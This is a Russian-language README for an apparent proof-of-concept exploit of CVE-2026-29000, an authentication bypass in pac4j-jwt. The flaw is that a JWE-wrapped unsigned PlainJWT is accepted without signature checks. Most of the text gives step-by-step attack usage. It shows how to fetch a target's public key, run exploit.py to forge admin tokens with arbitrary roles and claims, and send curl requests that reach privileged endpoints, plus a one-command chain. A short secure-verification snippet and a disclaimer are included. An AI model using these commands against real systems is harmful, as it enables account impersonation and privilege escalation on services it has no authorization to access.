
Эксплойт для CVE-2026-29000, обход аутентификации JWT в pac4j-jwt через JWE-обёрнутый PlainJWT, позволяющий подделку токенов и повышение привилегий.
Обход аутентификации JWT в pac4j-jwt через JWE-обёрнутый PlainJWT
CVE-2026-29000 — это критическая уязвимость обхода аутентификации, затрагивающая pac4j-jwt версий ниже 4.5.9, 5.7.9 и 6.3.3. Уязвимость позволяет удалённым злоумышленникам подделывать токены аутентификации и обходить проверку подписи.
Уязвимость существует в компоненте JwtAuthenticator при обработке зашифрованных JWT (JWE). Когда получен JWE-токен:
exploit.py — скрипт эксплойта на Python для генерации вредоносных токеновvulnerable_server.py — демонстрационный сервер, имитирующий уязвимостьrequirements.txt — зависимости PythonREADME.md — этот файл# Клонировать репозиторий
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000
# Установить зависимости
pip3 install -r requirements.txt
python3 vulnerable_server.py
Сервер будет:
server_private.pem и server_public.pem)В реальном сценарии атаки получите открытый ключ с целевого сервера:
# Скачать открытый ключ с JWKS-эндпоинта
curl http://target-server.com/jwks > target_jwks.json
# Или напрямую с эндпоинта открытого ключа
curl http://target-server.com/public-key > target_public.pem
Для тестового сервера:
curl http://127.0.0.1:5000/public-key > server_public.pem
Используйте скрипт эксплойта для создания JWE-обёрнутого PlainJWT:
# Базовое использование — аутентификация как admin
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
# Аутентификация как конкретный пользователь с несколькими ролями
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem
# Добавление пользовательских claims
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","department":"IT"}'
# Сохранение токена в файл
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--output malicious_token.txt
# Установить вредоносный токен (скопировать из вывода exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."
# Доступ к публичному эндпоинту (должен работать)
curl http://127.0.0.1:5000/api/public
# Доступ к пользовательскому эндпоинту с вредоносным токеном (ОБХОД!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# Доступ к административному эндпоинту с вредоносным токеном (ПОВЫШЕНИЕ ПРИВИЛЕГИЙ!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
Ожидаемый успешный вывод с административного эндпоинта:
{
"status": "success",
"message": "Admin endpoint accessed - RESTRICTED DATA",
"user": "admin",
"roles": ["ROLE_ADMIN"],
"secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
"admin_info": "This is sensitive administrative data"
}
# 1. Установить зависимости
pip3 install -r requirements.txt
# 2. Запустить уязвимый сервер (в терминале 1)
python3 vulnerable_server.py
# 3. В новом терминале получить открытый ключ
curl http://127.0.0.1:5000/public-key > server_public.pem
# 4. Сгенерировать вредоносный токен администратора
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt
# 5. Извлечь токен в переменную
TOKEN=$(cat token.txt)
# 6. Тест публичного эндпоинта (базовый уровень — аутентификация не требуется)
curl http://127.0.0.1:5000/api/public
# 7. Тест пользовательского эндпоинта (должен пройти с нашим вредоносным токеном)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 8. Тест административного эндпоинта (УСПЕХ ЭКСПЛОЙТА — должен получить доступ к ограниченным данным)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
# 9. Проверить, что ответ содержит флаг
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
[--claims CLAIMS] [--generate-keypair] [--output OUTPUT]
CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens
options:
-h, --help show this help message and exit
--subject SUBJECT, -s SUBJECT
Subject (username) to impersonate
--roles ROLES, -r ROLES
Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
--public-key PUBLIC_KEY, -k PUBLIC_KEY
Path to RSA public key PEM file
--claims CLAIMS, -c CLAIMS
Additional claims as JSON string
--generate-keypair, -g
Generate a test RSA keypair and save to files
--output OUTPUT, -o OUTPUT
Output file for the generated token
1. Клиент отправляет JWT с подписью
2. Сервер проверяет подпись открытым ключом
3. Если подпись действительна, извлекает claims
4. Предоставляет доступ на основе claims
1. Злоумышленник получает открытый ключ RSA сервера
2. Злоумышленник создаёт PlainJWT (alg: none) с произвольными claims
Пример: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. Злоумышленник шифрует PlainJWT с помощью JWE, используя открытый ключ сервера
4. Сервер успешно расшифровывает JWE
5. Сервер извлекает claims из внутреннего PlainJWT БЕЗ проверки подписи
6. Сервер предоставляет доступ на основе подделанных claims
Уязвимость возникает из-за того, что:
def verify_jwe_token_secure(token, private_key):
# 1. Расшифровать JWE
inner_jwt = decrypt_jwe(token, private_key)
# 2. Разобрать заголовок внутреннего JWT
header = parse_jwt_header(inner_jwt)
# 3. КРИТИЧЕСКИ ВАЖНО: Проверить, что алгоритм не "none"
if header.get('alg') == 'none':
raise SecurityError("PlainJWT not allowed")
# 4. КРИТИЧЕСКИ ВАЖНО: Проверить подпись внутреннего JWT
if not verify_jwt_signature(inner_jwt, public_key):
raise SecurityError("Invalid JWT signature")
# 5. Извлекать claims только после проверки
return extract_claims(inner_jwt)
pip3 install -r requirements.txtpython3 vulnerable_server.pycurl http://127.0.0.1:5000/public-key > server_public.pempython3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pemcurl http://127.0.0.1:5000/api/publiccurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/usercurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin# Установка и тестирование одной командой
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
Этот инструмент предоставляется только для образовательных целей и санкционированного тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Используйте этот инструмент только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение.
Лицензия MIT — только для образовательных целей
Исследователь безопасности Дата: 2026-03-16
FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}